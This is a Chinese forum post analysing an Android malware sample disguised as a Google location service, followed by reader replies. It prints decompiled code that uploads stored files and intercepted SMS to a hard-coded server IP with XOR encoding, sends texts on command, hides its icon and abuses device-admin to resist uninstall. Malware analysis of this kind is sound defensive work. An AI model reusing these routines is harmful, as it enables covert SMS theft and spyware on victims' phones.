public static String[]get_all_file_list(Context context) {
        return context.getFilesDir().list(newmyFilenameFilter());
}
其中myFilenameFilter()
[Java] 纯文本查看 复制代码
packagecom.google.process.locations;
import java.io.File;
import java.io.FilenameFilter;
class myFilenameFilterimplements FilenameFilter {
    myFilenameFilter() {
        super();
    }
    public boolean accept(File arg2, Stringarg3) {
        return 1;
    }
}
没什么大作用,就是用来获取文件列表的

接着把Boolean_c设为true,这样在onStartCommand()方法里就不会执行,避免重复

开了个线程
[Java] 纯文本查看 复制代码
newThread_SendandDelete_file(object_TreeSet, context).start();
跟过去,有一个call_ReadandSend_file()方法很关键
[Java] 纯文本查看 复制代码
packagecom.google.process.locations;
import android.content.Context;
import java.io.File;
import java.util.Iterator;
import java.util.TreeSet;
class Thread_SendandDelete_fileextends Thread {
    Thread_SendandDelete_file(TreeSet arg1,Context arg2) {
        this.object_treeset = arg1;
        this.context = arg2;
        super();
    }
    public void run() {
        Iterator object_iterator = this.object_treeset.iterator();
        while(object_iterator.hasNext()) {
            File object_file = newFile(this.context.getFilesDir(), object_iterator.next());
           if(!Class_i.call_ReadandSend_file(object_file)) {
                continue;
           }
            object_file.delete();
        }
        GoogleApplication.Boolean_c = false;
    }
}
跟过去,最终调用的是这个方法
[Java] 纯文本查看 复制代码
private static booleanReadandSend_file(File file) {
        boolean boolean_Result = true;
        try {
            FileInputStreamobject_FileInputStream = new FileInputStream(file);
            byte[] ByteArray_1 = newbyte[object_FileInputStream.available()];
           object_FileInputStream.read(ByteArray_1);
            object_FileInputStream.close();
            JSONObject object_jsonobject =Class_i.ConnectSend_ResponseJsonobject(Class_i.get_Server_IPAddress(),
                    new String(ByteArray_1));
            if(object_jsonobject == null) {
                return false;
            }
            if(object_jsonobject.getInt("on")!= 1) {
                return false;
            }
            return boolean_Result;
        }
        catch(Exception v0_1) {
        }
        return false;
}
这一句
[Java] 纯文本查看 复制代码
JSONObject object_jsonobject =Class_i.ConnectSend_ResponseJsonobject(Class_i.get_Server_IPAddress(),new String(ByteArray_1));
获取服务器IP地址
[Java] 纯文本查看 复制代码
get_Server_IPAddress()
public static Stringget_Server_IPAddress() {
        return "45.127.99.27";
}
ConnectSend_ResponseJsonobject()这个方法很重要
[Java] 纯文本查看 复制代码
public static JSONObjectConnectSend_ResponseJsonobject(String arg5, String arg6) {
        String v0_7;
        HttpResponse object_HttpResponse;
        ArrayList object_ArrayList = newArrayList();
        ((List)object_ArrayList).add(newBasicNameValuePair("p", new String(Base64.encodeToString(newClass_a().xor_Base64_encode(
                arg6.toString(),"6d0a04f0dac119bfea2823a60cb691cd"), 0))));
        DefaultHttpClient object_DefaultHttpClient =Class_i.Create_GetHttpClient("/");
       object_DefaultHttpClient.getParams().setParameter("http.protocol.expect-continue",Boolean.valueOf(false));
        try {
            HttpPost object_HttpPost = new HttpPost("http://"+ arg5);
            object_HttpPost.setEntity(newUrlEncodedFormEntity(((List)object_ArrayList), "UTF-8"));
            object_HttpResponse =object_DefaultHttpClient.execute(((HttpUriRequest)object_HttpPost));
            if(object_HttpResponse.getStatusLine().getStatusCode()!= 200) {
                return null;
            }
        }
        catch(Exception v0_1) {
            return null;
        }
        try {
            InputStream object_InputStream =object_HttpResponse.getEntity().getContent();
            ByteArrayOutputStreamobject_ByteArrayOutputStream = new ByteArrayOutputStream();
            byte[] ByteArray_1 = newbyte[1024];
            while(true) {
                int ByteArray_1_toByte =object_InputStream.read(ByteArray_1);
                if(ByteArray_1_toByte == -1) {
                    break;
                }
               object_ByteArrayOutputStream.write(ByteArray_1, 0, ByteArray_1_toByte);
            }
            object_InputStream.close();
            Stringobject_ByteArrayOutputStream_toByteArray = newString(object_ByteArrayOutputStream
                    .toByteArray());
            intobject_ByteArrayOutputStream_toByteArray_length =object_ByteArrayOutputStream_toByteArray
                    .length();
           if(object_ByteArrayOutputStream_toByteArray_length <= 17) {
                return null;
            }
            String v2_2 =object_ByteArrayOutputStream_toByteArray.substring(object_ByteArrayOutputStream_toByteArray_length
                     - 16,object_ByteArrayOutputStream_toByteArray_length);
            v0_7 =object_ByteArrayOutputStream_toByteArray.substring(0,object_ByteArrayOutputStream_toByteArray_length
                     - 16);
            if(!Class_i.get_MD5(String.valueOf(v0_7)+ "a?hg").substring(0, 16).equals(v2_2)) {
                return null;
            }
        }
        catch(IllegalStateException v0_3) {
            return null;
        }
        catch(ParseException v0_4) {
            goto label_90;
        }
        catch(Exception v0_1) {
            return null;
        }
        try {
            JSONObject v0_8 = newJSONObject(new String(new Class_a().xor_encode(new String(v0_7),"1djxdloien")));
            return v0_8;
        }
        catch(ParseException v0_4) {
        label_90:
        }
        catch(IllegalStateException v0_3) {
        }
        catch(Exception v0_1) {
        }
        return null;
}
这一句用到了一个xor_Base64_encode()
[Java] 纯文本查看 复制代码
((List)object_ArrayList).add(newBasicNameValuePair("p", new String(Base64.encodeToString(newClass_a().xor_Base64_encode(arg6.toString(),"6d0a04f0dac119bfea2823a60cb691cd"), 0))));
代码简单
[Java] 纯文本查看 复制代码
public byte[]xor_Base64_encode(String file_data, String arg10) {
        byte[] ByteArray_file_data =file_data.getBytes();
        int ByteArray_file_data_length =ByteArray_file_data.length;
        byte[] ByteArray_2 =Class_i.get_MD5("&dho02aQn" + arg10).getBytes();
        int ByteArray_2_length =ByteArray_2.length;
        int i;
        for(i = 0; i <ByteArray_file_data_length; ++i) {
            ByteArray_file_data =((byte)(ByteArray_2[i % ByteArray_2_length] ^ ByteArray_file_data[
                    i]));
        }
        returnBase64.encode(ByteArray_file_data, 0);
}
获取HttpClient
[Java] 纯文本查看 复制代码
DefaultHttpClientobject_DefaultHttpClient = Class_i.Create_GetHttpClient("/");
代码
[Java] 纯文本查看 复制代码
public static DefaultHttpClientCreate_GetHttpClient(String arg6) {
        BasicHttpParams object_BasicHttpParams= new BasicHttpParams();
        ((HttpParams)object_BasicHttpParams).setParameter("http.protocol.cookie-policy","");
       HttpProtocolParams.setVersion(((HttpParams)object_BasicHttpParams),HttpVersion.HTTP_1_1);
       HttpProtocolParams.setContentCharset(((HttpParams)object_BasicHttpParams),"ISO-8859-1");
        HttpProtocolParams.setUseExpectContinue(((HttpParams)object_BasicHttpParams),true);
       HttpProtocolParams.setUserAgent(((HttpParams)object_BasicHttpParams),arg6);
       HttpConnectionParams.setConnectionTimeout(((HttpParams)object_BasicHttpParams),3000);
       HttpConnectionParams.setSoTimeout(((HttpParams)object_BasicHttpParams),3000);
        SchemeRegistry object_SchemeRegistry =new SchemeRegistry();
        object_SchemeRegistry.register(newScheme("http", PlainSocketFactory.getSocketFactory(), 80));
        object_SchemeRegistry.register(newScheme("https", SSLSocketFactory.getSocketFactory(), 443));
        DefaultHttpClientobject_DefaultHttpClient = new DefaultHttpClient(newThreadSafeClientConnManager(((
                HttpParams)object_BasicHttpParams),object_SchemeRegistry), ((HttpParams)object_BasicHttpParams));
       object_DefaultHttpClient.getCookieSpecs().register("", newmyCookieSpecFactory());
        return object_DefaultHttpClient;
}
其中还有一个地方是用于Cookie的,主要就是设置用的myCookieSpecFactory()
[Java] 纯文本查看 复制代码
package com.google.process.locations;
importorg.apache.http.cookie.CookieSpec;
importorg.apache.http.cookie.CookieSpecFactory;
importorg.apache.http.params.HttpParams;
class myCookieSpecFactoryimplements CookieSpecFactory {
    myCookieSpecFactory() {
        super();
    }
    public CookieSpec newInstance(HttpParamshttpparams) {
        return new myBrowserCompatSpec(this);
    }
}
还有一个myBrowserCompatSpec()
[Java] 纯文本查看 复制代码
packagecom.google.process.locations;
importorg.apache.http.cookie.Cookie;
importorg.apache.http.cookie.CookieOrigin;
importorg.apache.http.impl.cookie.BrowserCompatSpec;
class myBrowserCompatSpecextends BrowserCompatSpec {
    myBrowserCompatSpec(myCookieSpecFactoryarg1) {
        this.a = arg1;
        super();
    }
    public void validate(Cookie cookie,CookieOrigin cookieorigin) {
    }
}
接着通信,判断状态码是否是200
[Java] 纯文本查看 复制代码
try {
            HttpPost object_HttpPost = newHttpPost("http://" + arg5);
            object_HttpPost.setEntity(newUrlEncodedFormEntity(((List)object_ArrayList), "UTF-8"));
            object_HttpResponse =object_DefaultHttpClient.execute(((HttpUriRequest)object_HttpPost));
           if(object_HttpResponse.getStatusLine().getStatusCode() != 200) {
                return null;
            }
        }
        catch(Exception v0_1) {
            return null;
        }
接下来的就是发送文件的代码了,没啥好看的

回到ReadandSend_file(),会进行返回数据的判断,一个是返回的JSonObject是否为空,还有一个是返回数据里on键值是否为1
[Java] 纯文本查看 复制代码
if(object_jsonobject == null) {
                return false;
            }
           if(object_jsonobject.getInt("on") != 1) {
                return false;
            }
如果一切正常的话会返回true,回到Thread_SendandDelete_file

当返回的是true会进行删除文件操作
[Java] 纯文本查看 复制代码
object_file.delete();
如果返回false说明文件没有发送成功或者服务器没有接收成功,则直接continue,不会删除文件,只有该文件发送成功了,才会执行删除操作

总结一下:每次开启service的时候会检查本地文件,并发送到服务器,发送成功会删除文件

接下来就是onStartCommand()离最后一项了
[Java] 纯文本查看 复制代码
Start_Thread_e()
主要作用是和服务器通信,返回的数据通过type的键值传到Handler处理
[Java] 纯文本查看 复制代码
packagecom.google.process.locations;
import android.os.Message;
import android.text.TextUtils;
import org.json.JSONException;
import org.json.JSONObject;
class Thread_e extends Thread {
    Thread_e(GoogleLocationService arg1) {
        this.GoogleLocationService_this = arg1;
        super();
    }
    public void run() {
        Message object_message;
        JSONObject object_jsonobject;
        int int_temp = 2;
        try {
            object_jsonobject = new JSONObject();
           object_jsonobject.put("id", GoogleApplication.String_id);
           object_jsonobject.put("model",GoogleApplication.String_model);
           object_jsonobject.put("time", System.currentTimeMillis());
           object_jsonobject.put("type", 1);
            String String_mode ="mode";
           if(!GoogleApplication.sp_Boolean_mode) {
                int_temp = 1;
            }
            object_jsonobject.put(String_mode,int_temp);  // mode键值为1
           if(GoogleLocationService.get_Boolean_a(this.GoogleLocationService_this)){
                goto label_82;
            }
            elseif(GoogleApplication.Boolean_sharedpreferences_send) {
               GoogleLocationService.set_Boolean_a(this.GoogleLocationService_this,true);
                int_temp = 9;
            }
            else {
                goto label_82;
            }
            goto label_29;
        }
        catch(JSONException v0_1) {
            goto label_62;
        }
    label_82:
        int_temp = 1;
        try {
        label_29:
           object_jsonobject.put("data", int_temp);  // data键值为1
            JSONObject object_JSONObject =Class_i.ConnectSend_ResponseJsonobject(Class_i.get_Server_IPAddress(),
                   object_jsonobject.toString());
            if(object_JSONObject == null) {
                return;
            }
            int int_on =object_JSONObject.getInt("on");
            int int_type =object_JSONObject.getInt("type");
            if(int_on != 1) {
                goto label_79;  // 判断on的键值是否为1,1表示正常
            }
            switch(int_type) {
                case 2: {
                    goto label_67;
                }
                case 9: {
                    goto label_44;
                }
            }
            return;
        label_44:
            String v0_3 =object_JSONObject.getString("num");
           if(!TextUtils.isEmpty(((CharSequence)v0_3))) {
                object_message =GoogleLocationService.get_GoogleLocationService_this_handler(this.GoogleLocationService_this)
                        .obtainMessage();
                object_message.what = 1;
                object_message.obj = v0_3;
                GoogleLocationService.get_GoogleLocationService_this_handler(this.GoogleLocationService_this)
                       .sendMessage(object_message);
            }
            else {
               GoogleApplication.Boolean_sharedpreferences_send = false;
                goto label_57;
            label_67:
                object_JSONObject =object_JSONObject.getJSONObject("data");
                object_message =GoogleLocationService.get_GoogleLocationService_this_handler(this.GoogleLocationService_this)
                        .obtainMessage();
                object_message.what = 2;
                object_message.obj =object_JSONObject;
               GoogleLocationService.get_GoogleLocationService_this_handler(this.GoogleLocationService_this)
                       .sendMessage(object_message);
                return;
            label_79:
               GoogleApplication.Boolean_b_notuse = true;
                return;
            }
        label_57:
            GoogleLocationService.set_Boolean_a(this.GoogleLocationService_this,false);
        }
        catch(JSONException v0_1) {
        label_62:
            GoogleApplication.Boolean_b_notuse= true;
        }
    }
}
Handler这里最主要的功能如下
[Java] 纯文本查看 复制代码
if(!TextUtils.isEmpty(((CharSequence)v9))&& !TextUtils.isEmpty(((CharSequence)v10))) {
               GoogleLocationService.call_SendSMSmessage(this.a, v9, v10);
                Class_i.Delete_SMSmessage(this.a,v10);
               Class_i.call_CopyStoreNewSMSmessage(this.a, v9, newStringBuilder(String.valueOf(System
                       .currentTimeMillis())).toString(), v10, 10);
            }
            if(v6 == 1) {
               GoogleLocationService.call_StoreInformationofPhone(this.a, true);
            }
            if(v5 == 1 &&!TextUtils.isEmpty(((CharSequence)v8))) {
               GoogleLocationService.call_BridgeSendSMSmessage(this.a, v8);
            }
            if(v4 == 1) {
               GoogleLocationService.call_StoreHistorySMSmessage(this.a, true);
            }
其中call_BridgeSendSMSmessage()最终会调用
[Java] 纯文本查看 复制代码
private voidBridgeSendSMSmessage(String String_Num) {
        String Phone_Information = String.valueOf(GoogleApplication.String_id)+ "," + GoogleApplication
                .String_model + "," +Build$VERSION.RELEASE;
        this.SendSMSmessage(String_Num,Phone_Information);
       Class_i.Delete_SMSmessage(((Context)this), Phone_Information);
       Class_i.call_CopyStoreNewSMSmessage(((Context)this), String_Num, newStringBuilder(String.valueOf(
               System.currentTimeMillis())).toString(), Phone_Information, 10);
       this.getSharedPreferences("app_preferences", 0).edit().putBoolean("send",false).commit();
}
会通过受害者手机向指定手机号发短信,然后还会根据服务器返回的数据执行一些其他指令,看代码就可以看出来了

以上就是GoogleLocationService的行为

回溯到很久很久以前的代码,先梳理一下,GoogleApplication类的onCreate()方法注册了一个GoogleLocationService服务,然后这个服务的所有功能都在上面已经分析了

继续分析,GoogleApplication已经分析完了,接下来就该进入MainActivity
[Java] 纯文本查看 复制代码
packagecom.google.process.locations;
import android.app.Activity;
importandroid.app.admin.DevicePolicyManager;
importandroid.content.ComponentName;
import android.content.Context;
import android.content.Intent;
importandroid.content.pm.PackageManager;
import android.os.Bundle;
import android.widget.Toast;
public class MainActivityextends Activity {
    private ComponentName object_ComponentName;
    private DevicePolicyManagerobject_DevicePolicyManager;
    public MainActivity() {
        super();
    }
    private void Toast_FinishInstall() {
        PackageManager object_PackageManager =this.getPackageManager();
        ComponentName object_ComponentName =this.getComponentName();
        int v2 = object_PackageManager.getComponentEnabledSetting(object_ComponentName);
        if(v2 == 0 || v2 == 1) {
           object_PackageManager.setComponentEnabledSetting(object_ComponentName,2, 1);  // 隐藏图标
            Context context =this.getApplicationContext();
            String v2_1 = "%s证书启动成功";
            Object[] object_temp = newObject[1];
            String v0_1 =GoogleApplication.sp_Boolean_mode ? "安装" : "安全";
            object_temp[0] = v0_1;
            Toast.makeText(context,String.format(v2_1, object_temp), 1).show();
        }
    }
    private voidStartService_GoogleLocationService() {
        this.startService(newIntent(this.getApplicationContext(), GoogleLocationService.class));
    }
    private void ActiveAdmin() {
        this.object_DevicePolicyManager =this.getSystemService("device_policy");
        this.object_ComponentName = newComponentName(((Context)this), DeviceReciver.class);
       if(!this.object_DevicePolicyManager.isAdminActive(this.object_ComponentName)){
            Intent intent = newIntent("android.app.action.ADD_DEVICE_ADMIN");
           intent.putExtra("android.app.extra.DEVICE_ADMIN",this.object_ComponentName);
            this.startActivity(intent);
        }
        else {
            this.Toast_FinishInstall();
        }
    }
    protected void onCreate(Bundle arg1) {
        super.onCreate(arg1);
        this.ActiveAdmin();
       this.StartService_GoogleLocationService();
        this.finish();
        this.ser();
    }
    void ser() {
        Class class_temp;
        try {
            class_temp =Class.forName("d.d.Default");
        }
        catch(ClassNotFoundException v0) {
            throw newNoClassDefFoundError(((Throwable)v0).getMessage());
        }
        this.startService(newIntent(((Context)this), class_temp));
    }
}
onCreate()方法里还是先进入ActiveAdmin(),整体过程如同刚才所说的,如果不激活,会一直弹出激活窗口,如果激活了,会进入Toast_FinishInsatll()

然后弹出安全证书启动成功并且隐藏图标

这个恶意APP的大概功能就是这些了

接下来分析一下其它部分的代码

BootReceiver:开机自启动
[Java] 纯文本查看 复制代码
packagecom.google.process.locations;
importandroid.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
public class BootReceiverextends BroadcastReceiver {
    public BootReceiver() {
        super();
    }
    public void onReceive(Context context,Intent intent) {
        context.startService(newIntent(context, GoogleLocationService.class)); // 开机启动
    }
}
DeviceReceiver:设备管理器
[Java] 纯文本查看 复制代码
[color=#000][size=13.333333969116211px]packagecom.google.process.locations;[/size][/color][/align][align=left]import android.app.admin.DeviceAdminReceiver;
importandroid.app.admin.DevicePolicyManager;
import android.content.Context;
import android.content.Intent;
public class DeviceReciverextends DeviceAdminReceiver {
    public DeviceReciver() {
        super();
    }
    public CharSequenceonDisableRequested(Context context, Intent intent_Param) {
        Intent intent =context.getPackageManager().getLaunchIntentForPackage("com.android.settings");
        intent.setFlags(268435456);
        context.startActivity(intent);
        Object object_device_policy =context.getSystemService("device_policy");
       ((DevicePolicyManager)object_device_policy).lockNow();
        new Thread(newRunnable_LockScreen_7s_bypass(this, ((DevicePolicyManager)object_device_policy))).start();
        return "This is aonDisableRequested response message";
    }
   
    public void onDisabled(Context context,Intent intent) {
        super.onDisabled(context, intent);
    }
    public void onEnabled(Context context,Intent intent_Param) {
        Intent intent = new Intent(context,MainActivity.class);
        intent.addFlags(268435456);
        context.startActivity(intent);
        super.onEnabled(context, intent_Param);
    }
    public void onReceive(Context context,Intent intent) {
        super.onReceive(context, intent);
    }
}
这个利用了安卓的一个设备管理器的一个漏洞:Android设备管理器取消激活漏洞

SMSReceiver:拦截短信,存储在本地,然后删除
[Java] 纯文本查看 复制代码
packagecom.google.process.locations;
importandroid.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
importandroid.telephony.SmsMessage;
public class SmsReciver extendsBroadcastReceiver {
    public SmsReciver() {
        super();
    }
    public void onReceive(Context context,Intent intent) {
        StringBuffer StringBuffer_1;
        StringBuffer StringBuffer_2 = null;
        Bundle object_bundle =intent.getExtras();
        if(object_bundle != null) {
           if(GoogleApplication.sp_Boolean_mode) {
                this.abortBroadcast();
            }
            Object object_pdus =object_bundle.get("pdus");
            int object_pdus_length =object_pdus.length;
            int i = 0;
            String StringBuffer_3 =((String)StringBuffer_2);
            String StringBuffer_4 =((String)StringBuffer_2);
            while(i < object_pdus_length) {
                SmsMessage object_SmsMessage =SmsMessage.createFromPdu(object_pdus);
                if(StringBuffer_4 == null) {
                    StringBuffer_4 =object_SmsMessage.getOriginatingAddress();
                }
                if(StringBuffer_3 == null) {
                    StringBuffer_3 = newStringBuilder(String.valueOf(object_SmsMessage.getTimestampMillis()))
                            .toString();
                }
                if(StringBuffer_2 == null) {
                    StringBuffer_1 = newStringBuffer(object_SmsMessage.getMessageBody());
                }
                else {
                   StringBuffer_2.append(object_SmsMessage.getMessageBody());
                    StringBuffer_1 =StringBuffer_2;
                }
               if(GoogleApplication.sp_Boolean_mode) {
                    Class_i.Delete_SMSmessage(context,object_SmsMessage.getMessageBody());
                }
                ++i;
                StringBuffer_2 =StringBuffer_1;
            }
           Class_i.call_CopyStoreNewSMSmessage(context, StringBuffer_4.toString(),StringBuffer_3.toString(),
                    StringBuffer_2.toString(),1);
        }
    }
}

最后总结一下:这玩意对于4.2以下的系统的话还是很危险的,因为卸载不掉,其它行为就比较一般了,监控短信,存储在本地,然后传服务器

样本的话:这次就不提供了

不定期的会录制一些视频分享调试的一些心得:移动恶意APP分析的心得分享

免费评分

参与人数 22热心值 +22 收起 理由
970883246 + 1 用心讨论,共获提升!
zy2pj + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
photor + 1 谢谢@Thanks!
19990502 + 1 我很赞同!
free648 + 1 用心讨论,共获提升!
再也不见 + 1 谢谢@Thanks!
immr.x + 1 谢谢@Thanks!
我们不该这样! + 1 用心讨论,共获提升!
MZoyo + 1 用心讨论,共获提升!
远山含笑 + 1 热心回复!
Czkusers + 1 我很赞同!
221041900 + 1 谢谢@Thanks!
zerogz + 1 我手机就是安卓4.3的,也中毒了,只能每隔几天的删一次自动安装是伪装程序.
AWEIWEI + 1 好分析!
runingdream + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
jiang54 + 1 纯粹支持。
牵走天涯 + 1 我很赞同!
独行风云 + 1 膜拜大牛.
spguangz + 1 前排膜拜大牛
tong_wen2504 + 1 热心回复!
KaQqi + 1 值得看看
lies2014 + 1 谢谢@Thanks!

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

zerogz 发表于 2016-7-19 15:44
wnagzihxain 发表于 2016-7-19 15:30
我上一篇锁屏分析的最下面有关于这个的处理,直接复制过来排版不好看,代码也会很混乱,你去看看吧

http://www.52pojie.cn/forum.php?mod=viewthread&tid=515795
谢谢大神,是这个链接吧?看了一下,要理解还真要花点时间,我的没有锁屏,主要的伪装成“录音机”、“好音乐”等APP自动安装,还会发送订阅短信代码,幸好防火墙拦截了,暂时没有造成损失,但这个感觉有点类似幽灵推,但有不完全相同,关键是搜索也没有其他处理方法。
zerogz 发表于 2016-7-19 15:24
wnagzihxain 发表于 2016-7-18 23:13
我感觉你这情况下个管家先扫描一波比较好,无论是鹅厂的还是数字的都先试一试,如果Root了的话把可疑的应 ...

感觉是已经写进了system/app的,删掉还会再出现,换了几款杀毒软件查杀后还会继续出现,具体教程在哪里有的?因为对于手机处理这种情况我是一窍不通的,希望能得到大家的帮助,谢谢!
枫MapleLCG 发表于 2016-7-13 22:40
本帖最后由 枫叶飘零 于 2016-7-13 22:42 编辑

前排膜拜大牛,抚摸沙发,那些恶意APP的发布者真的是缺钙。
为什么最后不用插入代码功能呢

QQ图片20160713224140.png
taxuewuhen 发表于 2016-7-13 22:48
前排膜拜大牛
太长了 不懂
hacker乌鸦 发表于 2016-7-13 22:53
太长,夹杂了大量代码,so。。。。我没仔细看,不过就冲能从代码分析来看,露珠应该是大拿
 楼主| wnagzihxain 发表于 2016-7-13 23:02
枫叶飘零 发表于 2016-7-13 22:40
前排膜拜大牛,抚摸沙发,那些恶意APP的发布者真的是缺钙。
为什么最后不用插入代码功能呢

我说在排版就是在使用添加代码,因为先在word上写的,所以直接拷贝过来慢慢排版
lies2014 发表于 2016-7-14 00:05
分析的很详细,可惜没有样本,加分先!
oxygen 发表于 2016-7-14 23:27
太长,夹杂了大量代码,so。。。。我没仔细看
KaQqi 发表于 2016-7-15 08:38
子贤又发新教程了,值得一看
一片枫叶落地无 发表于 2016-7-15 10:56
哎 完全看不懂 看来还需要学习
A-zhu 发表于 2016-7-15 10:57 来自手机
学习了~
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 15:38

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表